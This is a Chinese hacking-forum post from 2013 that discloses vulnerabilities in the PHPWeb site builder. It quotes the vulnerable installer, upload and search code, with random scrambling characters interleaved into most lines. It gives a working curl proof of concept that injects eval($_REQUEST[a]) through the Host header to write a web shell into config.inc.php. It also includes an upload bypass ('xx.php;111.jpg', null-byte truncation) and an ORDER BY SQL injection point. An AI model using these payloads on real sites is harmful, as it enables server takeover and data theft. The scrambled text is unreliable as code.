找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2449|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
: }' E! k  Y7 `9 D
. I. F0 h' ]5 i1 Q8 _5 x6 A! Z之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
5 t& o5 A0 @# R
0 ?6 k; @7 G( f: A' }0 U鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件+ @4 |. \' g' c1 ?
鸡肋2: 有一定安全常识的站长都会删掉 install 目录, v3 G# I4 ^4 S2 k/ }

1 a3 g* d0 J# y虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
$ E( z; V1 b. {0 J 9 }" I0 A! @( e0 v7 B
分析:
" a2 r8 B; L$ c" [: m* j4 S
* S" C, E- J; v4 n+ i" u: Z& O
/ [2 c! K" h' w( r' f$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤& m% C' t4 r4 `( Q% Q0 V2 L* p; Y
; r% Z8 l$ x+ w  [
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);$ Q0 \! u4 W2 x8 f% D/ i
                                            $filestr=str_replace(" ","",$filestr);
. G6 _9 m: Z- w/ N/ U                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);; D& i. `) A" m9 x% a
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
) X6 s! Z- S6 {; a                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);9 t; Z$ |7 w" @* k$ D
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
' w) K% t  X1 ~4 ~                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
" B$ ~% l$ A: A, z: r& e                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
2 W0 k$ U, ^' K) U. c: Y                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);/ ~& q# O9 r5 g/ B- i8 n' b5 p% X  v

  K. D; G$ z" _                                            fwrite(fopen($ConFile,"w"),$filestr,30000);: u/ J$ W; ^  K3 |* X, o) ]
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^; a6 C8 |6 s0 Y4 R" X
" q  C" l" N$ Z4 |& Y' H
poc:+ B7 A  G8 y9 \. P! \: z

3 v( ~) a! v5 L+ q! H  {1 T?9 ~& G8 q4 Z9 ~& h& ?. n" K; }
1) K, F' L: I7 k" V$ q1 o
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
. s3 m( m+ B8 X) t, p' Zshell地址: /config.inc.php8 f& \1 T2 n% Z% p4 {2 n, Y
跟之前的 phpcms一样 需要远程数据库
9 f: h6 r9 q# c 3 O7 C  b* z6 S6 F2 q+ P' ?9 t+ n
——————————————————–
- z4 g+ _; V3 X7 h, ~上传漏洞(需要进后台):# q5 t% e1 ]+ `6 n) B- |( R
漏洞文件: /kedit/upload_cgi/upload.php
: g2 s# l7 h2 t7 M9 y这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
. s/ k: ?  B  N# L
5 L; v' l( j: h$ t$ |
% Q5 W  v! b# S0 q  [5 `4 a<?php; n0 K, c: ^3 Q$ P- a
    define("ROOTPATH", "../../");5 D9 e1 E0 v% ?
    include(ROOTPATH."includes/admin.inc.php");
6 v* a% i; S# U    NeedAuth(0);
) ?$ t" g/ c( L3 y3 Z6 X ( _, V# t. \0 U# q7 \
    $dt=date("Ymd",time());
! T: q+ f+ W: n( R% I- {2 ?    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){! q2 l, k8 E' ?" Y" e
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);0 B) n; k$ V$ d9 O+ |
    }' O. K* N/ i) }" B& h+ {( B

/ \" O) \, U. c4 i' S3 f    //文件保存目录路径
) E; T# A, d& H3 n; H3 t    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
9 _9 j( `9 L( w3 r  i% W4 X    echo $save_path;1 l# r, ~1 l2 H
    //文件保存目录URL
2 Y# q# U7 e5 C% x! Z4 M+ c* Q    $save_url = '../../'.$_POST['attachPath'].$dt.'/';+ c) @+ O$ u% v! ~

2 X; w1 R( [4 p/ r    //定义允许上传的文件扩展名; `, Y* \; o2 v+ X( d
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
# p+ q! ?& t- |1 c+ h6 S
: T& J3 _8 Q% y) [$ @    //最大文件大小
/ g' |3 t0 k$ k/ s, ~    $max_size = 1000000;; T% o  T- I. W) V5 a/ U" g# |

' t" z% T" B! L: }1 W% F; o    //更改目录权限+ E$ _$ V: I& z" i, K2 `
    @mkdir($save_path, 0777);
1 g8 P! ^4 k5 b& l9 g
; v+ F9 z0 H, v* p3 ^% s' F    //文件的全部路径( s! A1 [' w& b; M& H
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
6 f) T; t9 r1 _. \0 @( l. G$ L' R
' F  W. x$ ?% c6 D$ {; G. ?6 I    //文件URL( g. C! U: D$ i) G) ~
    $file_url = $save_url.$_POST['fileName'];
9 J- {: g  a2 s3 a//有上传文件时* m- K- R: k7 \8 i- n' F' p* q1 V
    if (empty($_FILES) === false) {# {2 J1 l& f! ]
/ e7 M1 [- i9 N) z6 x* t1 U5 a
            //原文件名
2 b. l7 A& j( ^* @2 P6 y            $file_name = $_FILES['fileData']['name'];
5 {0 {) `- Z" b1 ?+ {8 A  C9 J            //服务器上临时文件名
0 d0 \9 X  }% Y1 |; T# b5 P4 ]$ h9 ~            $tmp_name = $_FILES['fileData']['tmp_name'];
0 s( A2 d# f$ W( {, s! t/ j            //文件大小( P; h) o( |. a: Z0 Z6 h  |
            $file_size = $_FILES['fileData']['size'];, W) h$ }# P' B4 t: x' ~/ `
            //检查目录2 ]2 ?' c0 z& q5 M1 H
            if (@is_dir($save_path) === false) {
7 h5 k7 ?; [: n0 g                    alert("上传目录不存在。");* ]! e7 X- h9 K- U3 }
            }7 R) g1 R# H9 p* e
            //检查目录写权限3 L& ]7 h* b: c3 L9 U+ h
            if (@is_writable($save_path) === false) {
2 j4 W7 I& x. ]+ `" z& e  J                    alert("上传目录没有写权限。");/ f+ }, @: v* B
            }
* r0 z- f9 q7 M" v! @- K: z            //检查是否已上传9 W- m% L9 t* F. i1 Z
            if (@is_uploaded_file($tmp_name) === false) {
5 r3 N1 n( m7 H9 @* c                    alert("临时文件可能不是上传文件。");% k* A2 J( y4 C
            }
8 P/ ?! r2 l6 l% n) ?2 r1 {! G            //检查文件大小
! l" l2 g4 p! u! H: E8 ]            if ($file_size > $max_size) {
' @: q; l7 B% F* j                    alert("上传文件大小超过限制。");! L: a  c$ v- [) W) Y6 g5 e
            }
) y9 O$ F( N& X" e" g  m6 V            //获得文件扩展名$ @# L* j0 z* x: [& R
            $temp_arr = explode(".", $_POST['fileName']);
& b8 L8 `6 n+ z/ F            $file_ext = array_pop($temp_arr);# B  E1 @# n: d+ i* N7 d
            $file_ext = trim($file_ext);! V0 p8 j9 p! S/ U9 g1 k
            $file_ext = strtolower($file_ext);
$ q, s' n2 ?! A5 c8 s! R
5 l( E% k1 {' d) n: G. T            //检查扩展名   6 g( [1 T. Y# w% i% D0 N1 W" `6 H
            if (in_array($file_ext, $ext_arr) === false) {     
. a# W8 y/ D# o# F                    alert("上传文件扩展名是不允许的扩展名。");1 B- k4 e9 j% d& x
            }
8 r) W! ?. }- ]7 F# w" [
, G% Y: K; Y# y) y; r  C            //移动文件   5 a. l: c( p7 g
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
+ K( d' G3 m$ q% w* R            if (move_uploaded_file($tmp_name, $file_path) === false) {
& X/ ~8 E, E; I& P3 D0 z; L! W1 c                    alert("上传文件失败。");
* g( ?0 [/ N! |( t! z/ s            }5 L; h$ E  Q7 K  L, a* S0 G! R
  d; q+ N% }) E
            @chmod($file_path,0666);5 U$ |7 I. d" x( [& r

* \, s; x6 Q; F0 Q5 W* K3 Y    ?>0 r  @+ d1 m  U
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
2 j# X1 @: k' x- r  }/ S2 x
+ Q. V! ^# ~6 }. l# |; ^) Dapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
0 d# L0 S8 D' k( X" E
! n9 y4 I' X- H9 f9 M1 u: F4 y——————————————————
- A, v$ U3 Q: M- e/ X* V& ~7 y3 c注入漏洞:
3 j% a8 _% O& p7 \5 n5 T" i8 Q漏洞文件:search/module/search.php
) w* E& M3 X2 J6 p2 E/search/index.php?key=1&myord=1 [sqlinjection]' {! `. Y, j7 v- J0 @

5 @. T. [: Y' H3 e 9 ^/ C' E  _: N
<?php: D/ B/ O9 C2 [2 ~! V6 D
   //       ... 省略 n 行...
, U  K. X. e) `- r# J+ F   //第18行:/ t' e% w8 O7 z# B& U7 f
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
2 B5 @: g4 ]4 p* G' D# L4 q           $page=htmlspecialchars($_GET["page"]);8 G3 l; `. ^& O+ ]
           $myord=htmlspecialchars($_GET["myord"]);
+ H* Y( m* d; h$ `9 ^. O% V9 u
  K! J* w/ L0 `+ s  u  V$ \) F   //       ... 省略 n 行...
8 N1 N; s+ A/ D5 E8 F   $key,$myord 两个参数带入查询* R# h5 n' v/ q9 |0 P' L- y
   //第47行 $key:
0 R: L  p; x3 {6 z8 C2 d  l
2 G2 W' c" P; E  ^9 D   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..; h; s- j5 I  }7 e5 X9 }( a+ e

7 W7 Y0 D  e6 u   //第197行 $myord
' V  U3 ^& g! D. m% O# v   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入* N! T7 u5 l9 N4 e

' [1 p/ V/ @5 w   ?>  t. w9 o9 @6 n
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表